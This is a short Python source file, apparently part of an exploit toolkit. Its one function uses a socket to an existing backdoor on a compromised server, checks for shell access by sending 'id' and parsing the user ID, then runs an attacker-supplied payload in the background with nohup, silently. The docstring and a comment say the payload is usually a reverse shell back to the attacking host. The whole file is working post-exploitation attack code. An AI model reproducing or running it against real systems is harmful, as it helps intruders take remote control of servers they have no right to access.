import socket
import re


def inject_payload(conn: socket.socket, payload) -> bool:
    """
    Inject a payload into the backdoor connection.
    :param conn: socket object connected to backdoor
    :param payload: payload to inject (usually a reverse shell)
    :return: boolean indicating success or failure
    """
    print('Injecting payload via backdoor.')
    # verify that we have a shell and grab the user ID
    sent_bytes = conn.send('id\n'.encode())
    response = conn.recv(1024)
    uid_data = response.decode().strip()
    if re.search(r'^uid=', uid_data):
        uid = uid_data.split('(')[1].split(')')[0]
        print('Got shell as user {}!'.format(uid))
        # send a simple reverse shell from the exploited server to the attacking host
        print('Injecting and running payload.')
        sent_bytes = conn.send('nohup {} >/dev/null 2>&1\n'.format(payload).encode())
        return True
    else:
        print(uid_data)
        return False